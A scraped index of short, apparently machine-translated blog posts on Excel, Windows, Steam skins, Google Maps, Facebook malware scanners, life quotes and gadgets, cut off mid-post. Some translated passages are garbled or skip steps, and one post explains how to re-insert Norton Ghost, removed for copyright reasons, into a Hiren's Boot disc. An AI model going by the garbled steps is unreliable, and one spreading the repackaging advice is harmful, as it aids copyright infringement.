The application is capable of scanning all links posted on your News Feed page within 24 hours of prior use. In particular, you can automatically scan using the useful Auto-Scan feature of the application.\n  Use the application at the address , then perform the connection procedure. The inspection process is very fast, the links scanned and its evaluation results are shown in the following items: Norton Secured (clean article), Safe (safe article), Caution (article belongs to Suspicious, cautious), Warning (posts containing malicious links, should not be opened), Untested (not yet checked). To see what kind of article you have, open the corresponding tags below. Next to each article will have a rating icon for you to know.\nIf you want the application to automatically check your home wall when not using Facebook, drag the left button to enter the Auto-Scan On status at Your account is currently protected by Norton Auto-Scan.\nESET Social Media Scanner In addition to the test function (home wall, personal page, message), the application will send an email informing suspicious changes that appear on your account so you can take timely preventive actions.\n  Access and use the application here and then perform the connection procedure. Testing with ESET Social Media Scanner takes a bit longer (just a few minutes) compared to the above applications. The test results will be displayed in the Status section in the Scanning History tab. Although not listed in detail, but the application has a very useful notification function, open the Settings tab to use. Here, you click on the option you want to set up in the sections:\n- Access rights notifications: Set up notifications about account access (Notify me by email about access permissions)\n- Statistics: Statistics of the number of scans performed in the week and the infected, suspected objects found (Post notification).\n- Automatic Scanning: Includes Post notification comments under infected or suspicious objects (Send notification of infected or suspicious objects), Get notified by email when a found threat (Receive email notifications when there is a threat find). After each setting is done, click the Save changes button saved.\nncG1vNJzZmismaXArq3KnmWcp51kgG6%2Fwpqlp52iqHqnu9FmraKqpaiytHnAp5tmpZGhxKK%2BxGadqKpdm66kscGopqQ%3D\n","link":"/post/3-scanners-for-viruses-and-malware-for-facebook/","section":"post","tags":null,"title":"3 'Scanners' for viruses and malware for Facebook"},{"body":"\"Life is too deep for words\" - life is too \"deep\" to be expressed in words. This statement is not wrong.\nSaying beautiful life, only suffering, only sadness, only ups and downs or happiness, suffering in certain aspects is right. The important thing here is that we should not find ways to define life anymore. Live hard and then someday, you will understand.\nHere are a few very profound statements about life so that each of us can contemplate and feel.\n1. Life will be much gentler when people know how to put themselves in each other's position.\n2. Don't just because someone looks strong, doesn't mean everything is okay. Even the most powerful people need a friend to lean on their shoulders and cry. Get married to someone you like to talk to, because as you get older, you will discover that having a good conversation is a big advantage.\n  3. Your friends will not need you to explain anything, but for the enemy, no matter how much you explain, they will not believe it. Just do what you know is right.\n4. Smart people are people who can hide their intelligence.\n5. Many things we expect to get are expensive. But the truth is, what really makes us happy is completely free - it is love, laughter and moments of hard work to pursue our passion.\n6. Don't take it seriously because it can fool you. Don't take the riches seriously because it can fade away. Come to someone who makes you laugh, because only a smile will turn a sad day into happiness.\n7. This life, only you know yourself the most. Not your mother, not your lover, not your friend, not a fortuneteller . but you. So be alert before suffering and be gentle and happy. Suffering is due to my mind.\n8. A careless word can cause discord. A cruel word can ruin your whole life. A word at the right time can reduce stress. A word of love can bring happiness.\n9. Always put yourself in the shoes of others. If in that position, you feel pain, maybe the other person will feel the same way.\n10. Don't lower your self-worth by comparing yourself to others. That's because each of us is completely different people, we are independent individuals with unique talents.\n12. Do n't let life slip through your fingers because you are immersed in the past or dreaming of illusions about the future. Enjoy life in every moment, you will feel every day passes completely.\n13. Do n't rush through life so quickly that you forget where you are from and where your stop will be.\n14. The past is history. The future is a miracle. Now present is a gift of life, which is why we call it a precious gift.\n  15. Between success and failure there is an arduous river . on that river there is a bridge named effort.\n16. Going against the crowd means you are extremely intelligent or extremely ignorant.\n17. When all else is gone, the future remains.\n18. Stand firm and don't think that you will fall will never fall.\n19. People are born not to dissolve like an anonymous sand. They were born to imprint on the ground, imprinting in the hearts of others.\n20. I do not believe anyone who is not sad, I do not believe who always has joy.\n21. God gives everyone 24 hours, and how much of the 24 hours is it that every person decides to take.\n22. The most important life is choice.\n23. Make people confident, but not confident in self-confidence. Being human should be humble, but not so humble as to lose your confidence.\n24. Life, even if there are a thousand reasons to make you cry, you still have to find a million reasons to keep smiling.\n25. You cannot control the wind direction, only control the sail. You don't need to see all the steps but just take the first step with a belief.\n26. The more likely it is, the more choices people face when they are younger, not merely like, but they can choose. Things get more complicated and there's always a parallel hesitation. In the end, no matter what path we choose, we will still suffer.\n  27. In this world, there are many things that are eternal, but absolutely, love is not one of them.\n28. In everyone's heart, there are many doors, thoughts of sadness, sometimes there is no need to open up for everyone to see.\n29. Everyone has their own troubles, also have their own impotence, there are also some impasse and fears. Instead of advising each other about clichéing advice, we should find someone who is safe enough to be calm enough to say that we are tired, lean on our head and cry. Those who had many times were weak but no one dared to admit it, just pretending to be tough. Leave it for five months without looking at yourself.\n30. I think, after all, life is just a separation. But the most painful thing is not to say goodbye.\n31. Living in a life no one wants to become a bad person, everyone wants a life of high head and no shame with people, not shy. But life sometimes is not as expected, sometimes people have to live on two sides in exchange for two peaceful words.\n32. The pain is shared, the pain goes away, the pain is deeply buried, it will multiply a pain. Please share with someone because at least you will find some peace in your soul.\n33. I think the purpose of life is to be useful, to live responsibly, to be respected and to love. Above all, what really means is: Live for someone, for something and create your own mark on this world.\n34. Sometimes you need to go far, not to let someone recognize your position in their hearts. But let yourself understand and realize your own value.\nncG1vNJzZmismaXArq3KnmWcp51kgHV5z6umn6elo7Fuv9Oaq56llaPBtHnAm6aurF2htqex\n","link":"/post/34-profound-statements-about-life/","section":"post","tags":null,"title":"34 profound statements about life"},{"body":"When having to work with a long spreadsheet with numbers in Excel, the probability of being mistaken between the lines is very high. Therefore, to overcome this situation, we will guide you how to color alternating between lines to distinguish in Excel 2013. Please refer to.\nStep 1: Open the Excel spreadsheet and then black out the lines to fill, as in the example here I select the rows, column Excel from B2 to H9:\n  Step 2: On the menu bar, click the Conditional Formatting item, select New Rule .\n  Step 3: When the New Formatting Rule dialog box appears, click the Use a formula line to determine which cells to format and then enter the following formula line in the Format values ​​where this formula field is true: = MOD (ROW (), 2)\u0026gt; 0 . Then click Format .\n  Step 4: When the Formatting Rule dialog box appears, click the Fill tab and select the desired color.\n  Click OK, and we will have the Excel cells colored alternately as shown below:\n  Step 5: If you want to change to another color, click on the Conditional Formatting section and select Manage Rules .\n  Step 6 : When the new dialog appears, click Edit Rule\n  Step 7 : Click the Format button to change to the desired color\n  So, you already know how to color between Microsoft Excel lines. This job is small but it will contribute to minimizing errors in the calculation process for you.\nHow to convert numbers into words in Excel? So what if you want to interleave color data in Excel? The most basic functions in Excel How to keep the cells fixed in Excel? Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kgW6uwKygnGWjqbKxv4ytpmabn6G8s3nApaueqp6Wwaq6xmajoqaVqHqquoymoJyqn6i8p8CMnq%2BcnZw%3D\n","link":"/post/4-basic-steps-to-color-alternating-lines-in-microsoft-excel/","section":"post","tags":null,"title":"4 basic steps to color alternating lines in Microsoft Excel"},{"body":"Welcome world emoji day (World Emoji Day)!\nAlthough the emoticon world is still not enough to describe the emotions, activities, costumes or work we seek, there are still more and more emoji created to serve the conversation. online. And coming will be the launch of the emoji woman wearing a towel and breast-feeding.\nApple claims the two top emoji and many other emoji are coming out, in part to celebrate World Emoji Day.\nThere will be icons of sandwiches, coconuts, new animals like zebras, T-Rex dinosaurs for fans of Jurassic Park. Apple also opened up a fantasy world with Zombie and Fairy. In it the fairy will be the aunt of Princess Zelda (in Legend of Zelda).\n   Shaping of T-Rex dinosaurs and zebras\nThe familiar yellow face symbol also has some new expressions (officially there will be an explosive expression), probably vomiting.\n   New expressions on familiar faces\nFor the first time, Apple also revealed the most popular emoji on iOS:\nThumbs Up Smile Laugh\nLOL Wink-Kiss Heart    Emoji zombie and fairies\nApple said the new emoji will be released later this year. Perhaps it will come with iOS 11, scheduled to debut in the fall, around the same time as the release of iPhone 8. The company did not share how they came up with these symbols but all were administered by the agency. The emoji Unicode Consortium approves, meaning they can be added to the iOS keyboard.\nncG1vNJzZmismaXArq3KnmWcp51krrG8y56qZqaVrHqmuc6joGaho2KwsLnIp55mr5mptW65wKewZpuYlr%2Bir9OeqWaZnpl6psTPq5ysq5mrsm6tzaKkmqyZpLu0\n","link":"/post/apple-s-new-emoji-is-coming-with-many-character-and-expressive-animations/","section":"post","tags":null,"title":"Apple's new Emoji is coming with many character and expressive animations"},{"body":"The Average function in Excel helps you calculate the average value for a range of numbers, an array, or a reference containing numbers quickly and accurately. You will not have to spend time performing each calculation to calculate the average, but simply use the Average function directly.\n  The following article describes the syntax and usage of the Average function in Excel.\nDescription The Average function returns the average of the input arguments (also understood as the result of dividing the total value of the arguments by the total number of arguments). The input values ​​are numbers or ranges, referencing cells that contain numbers.\nAlso you can use the following functions:\nAVERAGEA function: returns the average of all values ​​in a column, processing text values ​​and not numbers.\nAVERAGEIF function or AVERAGEIFS function: if you only want to calculate the average of those values ​​that meet certain conditions and criteria.\nSyntax = AVERAGE (number1, [number2], .) \nInside:\n- number1: The first argument can be a number, a cell reference or a range containing the number you want to average, required.\n- number2: is the number, cell reference or range containing additional numbers that you want to calculate a maximum of 255 numbers on average, optional.\nNote - If a cell or range reference argument contains a logical value, text, or an empty cell, those values ​​will be ignored, except that the value 0 will be calculated.\n- The logical values, denoting the number of text types that you type directly into the list of arguments in the function will be counted.\n- If an argument is text or a value cannot be converted into a number, an error will occur.\nFor example For the data sheet:\n  1. Calculate the average of the numbers from B5-\u0026gt; B8.\nApply the function: = AVERAGE (B5: B8) we get the result:\n  2. Calculate the average of the numbers from D5 -\u0026gt; D8 and number 10.\nApplying the function: = AVERAGE (D5: D8,10) we get the following result:\n  3. Calculate the average of the numbers from B5 -\u0026gt; E8.\nApply the function: = AVERAGE (B5: E8) and the result is as follows:\n  The article showed how to use the Average function to calculate the average value, this is a fairly common function and many applications in calculating in Excel that you should know. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51krrex0ZqenmWWqrukwMiopWabkaGwtrjArZxmrJiaeqLCxKuYoJ1dnrtusdecnKU%3D\n","link":"/post/average-function-calculate-the-average-in-excel/","section":"post","tags":null,"title":"Average function (calculate the average) in Excel"},{"body":"Cooking porridge with a bottle of heat may sound quite strange but this is a rather special way to cook porridge and make sure that the porridge is delicious and ripe no less than the special porridge or electric rice cooker. Let's take a look at how to cook porridge with a thermos flask in the following article:\n  To make porridge with a thermos bottle is more delicious, you should use a thermos with a good material, 2 layers or 3 layers to ensure safety for your health and help the porridge be cooked evenly.\nThe advantages of cooking porridge with thermos Save time. Simple steps. No burning, no outflow. Convenient without kitchen, cooker . dedicated. Cost savings. Steps for cooking porridge with thermos The method of cooking porridge with pots keeps heat quite simple. You can apply the following steps:\nStep 1 : Prepare\nSticky rice or glutinous rice. New boiling water is finished. The thermos flask has been cleaned and rinsed with warm water.   Step 2 : Perform porridge cooking with thermos\nWash rice thoroughly with water to remove rice husks and other impurities. Then you soak the rice for about 3 hours to make the rice softer and cook faster. If you don't have time, you can whip the rice to cook it without soaking it. Pour 1 little boiling water into the thermos first to prevent porridge from closing at the bottom of the plug. Then poured from the milled rice or soaked into the jar. You continue to pour boiling water until it is full. Cover and wait for 3-4 hours.   Step 3 : Complete\nAfter 3 - 4 hours, the porridge in the thermos has been fine and you can use it to eat it right away.\n  You pour enough porridge to use the bowl, add porridge like shrimp, meat, . and taste the seasonings accordingly. So you have a delicious bowl of porridge!\nThe unused porridge can be stored in the refrigerator and heated again when eaten.\n  To own a quality water bottle, make porridge Please visit META.vn to buy the best price keepers.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufpLhuvM6rqaKcl5p6uLXToWSaZaSdsrO5zqxkm6ekqbmm\n","link":"/post/how-to-cook-porridge-with-a-thermos-bottle/","section":"post","tags":null,"title":"How to cook porridge with a thermos bottle"},{"body":" This wikiHow teaches you how to find the full path to a file using Windows Search, File Explorer, or the Run command window. Press . This opens the search bar.\nMethod 1of 3:\nUsing Search  Press ⊞ Win+S. This opens the search bar.\n  Type the name of the file. A list of matching results will appear.\n  Right-click the name of the file. A brief pop-up will appear.\n  Click Open file location. This opens the file in its containing folder.\n  Click at the end of the box that contains the file name. It's just above the list of files inside the folder, and just below the icons. This highlights the full path to the file. To copy the path, press Ctrl+C. To paste the path once it has been copied, press Ctrl+V.  Method 3of 3:\nUsing the Run Command Window  Navigate to the folder that contains the file. For example, if the file is on your desktop, go to the desktop.\n  Press ⊞ Win+R. This opens the Run command window.\n  Drag the file to the Run command window. You can lift your mouse once the file's icon is somewhere on the Run window.\n  Find the full path in the 'Open' box. This displays the file's full location. To copy the path, double-click it to highlight it with the mouse, then press Ctrl+C. To paste the path once it has been copied, press Ctrl+V.   Marvin Fry Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6Zo7FurYyfoKWdo2K9osDHZqanZaeeu6W71qw%3D\n","link":"/post/how-to-find-a-file-s-path-on-windows/","section":"post","tags":null,"title":"How to Find a File's Path on Windows"},{"body":"Perhaps Steam interface is not something that gamers often pay attention to when using this game distribution platform. However, if you want to change the Steam interface, it is not too complicated to implement, moreover you can change the Steam interface to your favorite game. Here's how to change the Steam interface on your PC.\nHow to play Steam games on your phone using the Steam Link application How to stream Steam games to Raspberry Pi without Moonlight How to install Steam in Ubuntu Instructions to change the Stream interface on the computer Step 1: First, click on the link below to download the tool to change the Steam interface on your computer. Then boot up the setup file, select Next\u0026gt; I Agree\u0026gt; finally click Finish .\nLink to download tool to replace Steam interface\n  When the installation is completed you will see the Steam Customizer tool displayed on the desktop.\n  Step 2: Visit the website to download Steam interface in the link below and click Explore, or you can create your own steam interface by clicking Create on the side.\nLink to download Steam interface\n  Choose the interface you like in the list. Then click on the interface image you want to download.\n  Once you've selected your Steam interface, click Download to download the interface.\n  The downloaded file will have the extension \" .stskin \". Keep the file in a directory that is easiest for you to find, preferably on the desktop.\n  Step 3: Run the steam interface installer tool, select File\u0026gt; Open .\n  Select the path to the steam interface file and click Open.\n  If you see the message to install Steam skin on your computer, click OK. At this point, the Steam skin installation tool will turn off.\n  Wait for about 30 seconds, turn on the Steam installation tool, select the interface just added to the list (1) and click Apply (2), then click OK (3) in the steam reset notification.\n  Next start steam up, select Steam\u0026gt; Settings\u0026gt; Interface \u0026gt; select the interface in Select the skin you wish Steam to use and press OK.\n  Steam will then ask you to reboot, this time the interface you have just selected will be applied to steam.\n  In the installation interface of Steam will also be changed to match the color of the interface.\n  Above is a guide to change the steam interface on PC, you can change the steam interface to suit the game you play or your favorite game characters.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmq6GdXajBpq3MZqCnrJWns6KvxGaaoZmenLJuwMeeZKyslZa6br%2FKoqVmp55ixrDB0WaaqKWgqsGmvg%3D%3D\n","link":"/post/how-to-install-the-steam-interface-change-the-steam-skin-on-your-computer/","section":"post","tags":null,"title":"How to install the Steam interface, change the Steam skin on your computer"},{"body":"Google Maps is the most popular mapping application out there, thanks to its many features, the ability to catch up on fast and simple traffic information, because it's a Google product. Curiously, there's another feature on Google Maps that Google doesn't use often, because Google doesn't make using it convenient. It is the option to save the route in Google Maps.\nThere are several ways to save favorite routes in Google Maps\nSave routes to Android home screen The first and probably the easiest way to save the route you travel regularly on Google Maps is to save it to the Android home screen.\nTo do this, visit the Google Maps app and set the route you want to save, by entering the destination in the box and clicking Directions. Make sure you have a walking option, by car or public transit.\nNext, touch the three-dot menu icon at the top right, then click Add route to Home screen .\nThis will create a widget that you can touch and hold, then drag anywhere you want on the home screen. You can even create a folder containing multiple routes like this.\nSave the route for a longer trip If you plan a road trip, My Maps is a great way to create a map with all the points of interest you want to go through. You can also use My Maps to create routes with multiple destinations, then access them in the Google Maps application.\nYou need to first access Google My Maps in the browser or download the My Maps for Android application. You should use the browser version to create your route, because it's a little easier to use and you can save it for use in the Google Maps app on Android.\nClick Create a New Map or the + symbol to create a new map and name it.\nIn the map you have created, you can click the Add directions icon below the search box, then enter your destination in the Directions box that appears on the left of the screen.\nOnce you've added two destinations to a route, you can add more points by clicking Add Destination , then entering the destination in a new box, or using your mouse to add that point to the route directly on the map.\nYou can add as many destinations as you like this way, or even create different routes on the same map, by clicking the Add directions icon again to create another route map layer.\nWhen the route is ready, you can open the Google Maps application, access Your places , then press Maps and select the map you have created. Click on the route you create to give the best way to your destination (s). In some cases, if you need to change your route, this can also be done easily.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquRq7JurYyrpq6slWK8r3nGqKagpJViuqK80g%3D%3D\n","link":"/post/how-to-save-a-route-on-google-maps/","section":"post","tags":null,"title":"How to save a route on Google Maps"},{"body":" Updating your graphics driver can help resolve existing software problems and enhance your experience as a user. In most cases, you can update your graphics driver via routine automatic or manual software updates. Click on the 'Start'...\n Lesley Montoya Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2gma61sYyypq6qXZy%2ForzHopqsZZSntrex0Q%3D%3D\n","link":"/post/how-to-update-your-graphics-driver/","section":"post","tags":null,"title":"How to Update Your Graphics Driver"},{"body":"Introduce\nConditional Formatting is a powerful tool and can change the 'appearance' of a cell based on its value, helping viewers to identify important data quickly. You can add colors, icons, data bars and color scales to the cell by creating conditional formatting rules.\nHow to use conditional formatting in Microsoft Excel 2016 Mark duplicate values ​​in red Use Data Bars to create Progress Bars (progress bar) Use the Top / Bottom Rules rules to highlight the top 3 products Using Color Scales to create a heat map Use Icon Sets to identify missing data in Timesheet Delete rule Define cells that contain conditional formatting Delete the cell containing conditional formatting Delete multiple rules in the same sheet  Mark duplicate values ​​in red Conditional formatting can be used to highlight duplicate values, making it easy to identify and correct errors in data.\n  Steps to take:\nStep 1 . Select the cells to format. In this example are cells A2: A9.\nStep 2 . Go to Home\u0026gt; Conditional Formatting .\nStep 3 .Click on Highlight Cells Rules\u0026gt; Duplicate Values .\n  Step 4 . Click OK . You can also select other cell colors from the drop-down list next to the default list.\n  Use Data Bars to create Progress Bars (progress bar) Data Bars can be used to display data graphically within a cell. The longest bar represents the highest value and the shortest bar shows the smallest value. This Data Bars help users to find large and small quantities easily in spreadsheets.\nIn this example, you will quickly see the progress of the projects.\n  Steps to take:\nStep 1 . Select the cells to format. In this example, B2: B6.\nStep 2 . Go to Home\u0026gt; Conditional Formatting.\nStep 3 . Click Data Bars\u0026gt; Blue Data Bar .\n  Step 4 . You can also choose other color bars if you want.\nSee also: How to create Progress bar by conditional formatting in Excel 2013, 2010 and 2007\nUse the Top / Bottom Rules rules to highlight the top 3 products Another great way to use conditional formatting is to select the Top / Bottom Rules option. You can easily mark the top 3 items in the list. To determine the top three products that generate the most sales in the store, you can create a top rule in conditional formatting.\n  Steps to take:\nStep 1. Select the cells to format. In this example, B2: B8.\nStep 2 . Go to Home\u0026gt; Conditional Formatting .\nStep 3 . Click on Top / Bottom Rules\u0026gt; Top 10 Items .\n  \nStep 4. The default is 10 items but you can enter 3 or use the add or remove buttons.\n  Step 5 . You can also select other cell colors from the drop-down list next to the default list.\nUsing Color Scales to create a heat map What is heat map?\nHeat map is a table in which spreadsheet data is displayed in color. You can display the value in the box or not if you want. Hide the value using the cell format.\n  Steps to take:\nStep 1 . Select the cells to format. In this example, B2: D10.\nStep 2 . Go to Home\u0026gt; Conditional Formatting.\nStep 3. Click on Color Scales\u0026gt; More Rules .\n  \nStep 4 . The default is 2-Color Scale, but you can select 3-Color Scale from the drop-down list.\n  Step 5. For this example, light blue, blue and dark blue are selected. When choosing a color for a heat map, you should choose different colors for the same color. Because if you choose different colors will confuse viewers, it is difficult to determine which cells have the lowest or highest value. However, when choosing different colors for the same color, viewers can quickly recognize the highest and lowest values.\nAlso, if you want to hide the values ​​in the table and display only the color in the heat map, you can right-click on the worksheet, click Format cells\u0026gt; Custom\u0026gt; Enter ';;;' in the box type and click on OK . The value is still in the table but hidden.\n  Heat map after hiding value:\n  Use Icon Sets to identify missing data in Timesheet Many opinions suggest that conditional formatting can only be used to format cells based on its value. However, you can use the formula to get values ​​based on cells in the same row and then use conditional formatting to get the desired results.\nSee this example for a better understanding. In this example, we will execute the formula in cell E4 to calculate the number of cells that have been filled in from A5 to D5. Since all the necessary data has been filled in row 5, the formula displays the results of the 4 cells that have been populated. However, in row 7, there is only 1 cell with data and 3 empty cells. Therefore, this row needs to be highlighted using Icon Sets to determine the row to be adjusted.\n  Steps to take:\nStep 1 . Select the cells to format. In this example is E5: E9.\nStep 2 . Go to Home\u0026gt; Conditional Formatting .\nStep 3 . Click on Icon Sets\u0026gt; More Rules .\n  \nStep 4 . The default option here is 3 traffic lights, then select 3 icons (circle) from the drop-down list.\nStep 5. Check the ' Show Icon only ' box.\nStep 6 . Click on the last icon and change ' Red Cross Symbol ' to ' No Cell Icon '.\nStep 7. Click on the second icon, change the ' Yellow Exclamation Symbol ' to ' Red Cross Symbol ', change the value to 1 and change the Type from ' Percent ' to ' Number '.\nStep 8 . For the first symbol is ' Green Check Symbol ', change the value to 4 and change the Type from ' Percent ' to ' Number '.\n  After completing the above steps, if there are unfinished data in any cell in the AD column of the same row, there will be a slash in column E. This will allow the user to quickly identify the data. Incomplete material and repair it. When all four cells from the AD column are entered in the same row, a green check mark will appear. This will allow the user to know that all data has been entered and no data is missing.\n  Delete rule Define cells that contain conditional formatting Before deleting all conditional formatting, you need to specify a cell containing conditional formatting. To do this, select all cells on the spreadsheet using Ctrl + A , click Special\u0026gt; Conditional formats\u0026gt; OK .\n    This will show you the cells marked with E5 to E9 contain conditional formatting.\n  Delete the cell containing conditional formatting Steps to take:\nStep 1 . Go to Home\u0026gt; Conditional Formatting .\nStep 2. Click Clear Rules\u0026gt; Clear Rules from Selected Cells .\n  Delete multiple rules in the same sheet In addition, there is another way to delete conditional formatting. This method will show all cells using conditional formatting on the same worksheet and allow you to delete multiple rules easily.\nSteps to take:\nStep 1 . Go to Home\u0026gt; Conditional Formatting.\nStep 2 . Click on Manage Rules .\n  Step 3 . Change the rule Show formatting from Current Selection to This Worksheet. This will display all the rules in this spreadsheet.\nStep 4 . Click on the rule you want to delete → click on Delete Rule → OK.\n  Step 5 . Repeat Step 4 for the rules you want to delete.\nI wish you all success!\nSee more:\nUse conditional formatting to format even and odd rows Complete guide to Excel 2016 (Part 1): Get familiar with Microsoft Excel 5 nightmares for Excel and how to fix it ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqku82doK2hn6OurXnFqKmmmaSptq%2BzjKKlZqWZmL%2Bwv86fq2adqJiyrXmRaWhv\n","link":"/post/how-to-use-conditional-formatting-in-microsoft-excel-2016/","section":"post","tags":null,"title":"How to use conditional formatting in Microsoft Excel 2016"},{"body":"It can be said that Hiren's Boot Rescue CD is a commonly used tool because it is continuously updated by the software and new features. However, recently many users Hiren's Boot has not been surprised when Hiren's Boot version 13 has removed some software due to copyright issues, including the famous backup and recovery software Norton Ghost 11. This is a huge shortcoming with computer \"guys\" who often use this software.\n  However, it seems that the author of Hiren's Boot has deliberately 'left the road' for users by adding the HBCDCustomizer utility with the ISO file containing the contents of the disc. You can use this utility to add the missing software in Hiren's Boot 13 disk, such as bringing Norton Ghost from old versions into Hiren's Boot 13 for example. Proceed as follows :\n- First, you need to download iso file containing Hiren's Boot disk 13.2 here . Besides, you also need to have iso file of an older Hiren's Boot version (such as version 12.x) to get the .uha file corresponding to the removed applications. In this article, you just need to add Norton Ghost .\n- You need to download the HBCDCustomizer.exe file, this is the executable file of the HBCDCustomizer utility, which will allow you to easily extract or merge the contents of Hiren's Boot disk into an iso file.\n- Next, you will extract the entire contents of the iso file of Hiren's Boot 13.x by starting the HBCDCustomizer utility, from the main interface of the program, check the iso box then press the button Browse in Source and then select the iso file containing the content of the disk Hiren's Boot 13.x to extract. In the Target folder on the hard drive , choose where to store the contents of the extracted iso file. In the Default Keyboard (Optional) section, you should select United States (Default). Finally, click the Extract ISO button to confirm.\n  - After successfully extracting, press OK from a window that appears to confirm.\n  - Now, HBCDCustomizer will automatically open a window containing the entire contents of the iso file you just extracted. From this window, you can copy the .uha files of Norton Ghost to the HBCD folder and the .bat files into the WinTools folder and the Ghost32.uha file to the WinTools \u0026gt; Files folder (if you want to use Norton Ghost 32 in a mini Windows XP environment). Similarly, you can add other applications that you love.\n  - After you've finished copying Norton Ghost in the correct locations, go back to the interface of HBCDCustomizer then press Make ISO button to proceed to create an iso file containing Hiren's Boot disk 13.x has been added Norton Ghost . After the creation of the iso file ends, click OK from a message that appears to confirm.\n  - That's it, you will get a file named MyHBCD.iso located with the folder containing the content of Hiren's Boot 13.x that you extracted. Your remaining job is to burn this file into a CD / DVD for use.\n  - Note, during the boot process Hiren's Boot 13.x from CD / DVD. You will see an option called Custom Menu . (Use HBCDCustomizer to add your files) , this is the option that contains the list of applications you have added with the HBCDCustomizer utility, when you select this option, you will see immediately the name of Norton Ghost appears in the list.\n      ncG1vNJzZmismaXArq3KnmWcp51ku7C%2B06ilZp%2BYpMC1ecinq56fopbBqrvNZqanZZiev6a60maZqKekYrGqv8pmaGyw\n","link":"/post/norton-ghost-integration-on-hiren-s-boot-disk-13-x/","section":"post","tags":null,"title":"Norton Ghost integration on Hiren's Boot disk 13.x"},{"body":"Windows PowerShell Integrated Scripting Environment (ISE) is a graphical storage application that allows you to read, write, run, debug and check scripts and modules in a graphical support environment.Key features such as IntelliSense, Show-Command, Segment, tab completion, syntax coloring, image debugging and contextual help . give users a rich experience of scripting.\nThe PowerShell_ISE.exe tool is responsible for starting Windows PowerShell ISE sessions. When you use PowerShell_ISE.exe , you can use its optional parameter to open the file in Windows PowerShell ISE or to start the non-configurable or multithreaded IS PowerShell session.\nPowerShell_ISE.exe was introduced in Windows PowerShell 2.0 and was significantly improved in Windows PowerShell 3.0.\nUse PowerShell_ISE.exe You can use PowerShell_ISE.exe to start and end the Windows PowerShell session as follows:\nTo start the Windows PowerShell ISE session, in the Command Promp window as well as in Windows PowerShell or enter the following command in the Start menu:\n PowerShell_Ise  To open the script (.ps1), script module (.psm1), manifest (.psd1), XML file, or any other file supported in Windows PowerShell ISE, use the following command format :\n PowerShell_Ise  In Windows PowerShell 3.0, you can use the File option parameter as follows:\n PowerShell_Ise -File  To start the Windows PowerShell ISE session without your Windows PowerShell configuration, use the NoProfile parameter.(NoProfile parameter was introduced in Windows PowerShell 3.0.)\n PowerShell_Ise -NoProfile  To see PowerShell_ISE.exe help file in the Command Promp window, use the following command format:\n PowerShell_Ise -help, -?, /?  Note Windows PowerShell runs on the Server Core installation option of Windows Server operating systems.However, because Windows PowerShell ISE requires a graphical user interface, it will not run on Server Core installations.\nSee more:\nPowerShell command in Windows Bitsadmin getowner, get priority and getproxybypasslist commands in Windows Popd and pushd commands in Windows Bitsadmin create command in Windows ncG1vNJzZmismaXArq3KnmWcp51kvbDDxKuqoZ2coayqv8RmmqilnZa7pXnIp2SwoZ6ZvLi%2F\n","link":"/post/powershell-ise-command-in-windows/","section":"post","tags":null,"title":"PowerShell_ise command in Windows"},{"body":"These online file sharing services help you quickly send data, especially large files, to friends, colleagues or relatives without spending much time. You don't even need to register to open an account, just upload the file online and send the link to your friends.\nFilesOverMiles: With the ability to password protect files and has a fast file upload speed, FilesOverMiles is considered the perfect choice for those who need to send a sizable number of files while working.\n  Pipebytes: This service will directly connect your computer to the person who needs to send the file to. You just need to select the file to send and send. The address to download the file will be sent directly to the recipient computer.\n  Jetbytes: This utility also directly connects your computer to the recipient computer. However, Jetbytes has a number of advantages over other similar utilities, which are simple, convenient interface and quick operation.\n  Dropdo: If you need to upload a large file that takes a long time, you should use Dropdo. This application not only stores files uploaded on the server but also provides the ability to preview documents for the recipient. Therefore, you can read other documents sent right on the network without having to download to your computer.\n  Senduit: Senduit's maximum send capacity is 100MB. The highlight of this utility is that you can set the mode to cancel outgoing documents if you don't want to save it on the network. During the file transfer process, if you accidentally close the browser window, the file will still be forwarded as usual.\n  LargeDocument: With a flash interface, LargeDocument can be difficult for some Macs or Linux, but it's fine with Windows. This utility is integrated with Gmail, so it is handy if you regularly work in Gmail and want to transfer large files.\n  ncG1vNJzZmismaXArq3KnmWcp51kwKmt0aKloGWWnrmmv4yorZ6qXam1pnnNnquwp6Kgeqq%2FjJ%2BYrKxdlrulecKopa%2Bdnp6yr8A%3D\n","link":"/post/sharing-files-over-the-network-is-fast-and-convenient/","section":"post","tags":null,"title":"Sharing files over the network is fast and convenient"},{"body":"Walabot is a device that connects to smartphones that can help users see \"penetrating\" through walls.\nThis device connects to the phone via magnetism and operates thanks to the phone connected via the microUSB port. Walabot recreates 3D images of objects based on radio sensors. However, users still have to download and install the Walabot Diy app on Google Play Store to use.\nAfter connecting, users just need to open the camera of the phone and search the wall to be able to observe the water pipes, wires, . hidden later. Walabot can look 'through' metal.\n  Walabot has 2 modes:\nRaw data: Detects hidden objects in walls, suitable for simple repairs. Detail data: helps to see the inner movement, detects the location of the corroded line, leaking water pipes without destroying the whole wall. Raviv Melamed, CEO and co-founder of Vayyer, the manufacturer of Walabot, said Walabot may have many different applications to help doctors locate tumors in the chest to make it easier to diagnose breast cancer. Help the blind avoid obstacles, help robots become more automated .\n  This is a product of Vayyer, a company specializing in 3D image sensors based in Ỵehud, Israel. Walabot is compatible with most Android phones today and has a market price of 200 USD.\nncG1vNJzZmismaXArq3KnmWcp51kwK6t0a1knZ2mnrCmeceeo6mrXai6or7TqZ%2BoppWoerSxxGaroaqfqrSpedaao6Wr\n","link":"/post/smart-device-helps-smartphones-see-through-walls/","section":"post","tags":null,"title":"Smart device helps smartphones see through walls"},{"body":"Minecraft players will never be bored and always experience many new things by installing these contents. In this article, let's explore the TOP of the most interesting add-ons that players should install in Minecraft to enjoy loads of exciting content.\nMore Tools   More Tools là một add-on Minecraft tuyệt vời đi kèm với hơn 35 loại áo giáp, 20 vật phẩm trang trí khác nhau và 720 công cụ mới để game thủ thỏa sức sử dụng. Người chơi cũng có cơ hội sử dụng các tài nguyên như blazed quartz, enderite, amethyst, magma cream, lapis quartz,. để tạo ra các biến thể mới của cuốc, kiếm, rìu và cuốc, xẻng,. Add-on này cũng phổ biến cho các công cụ tùy chỉnh như chùy, búa, 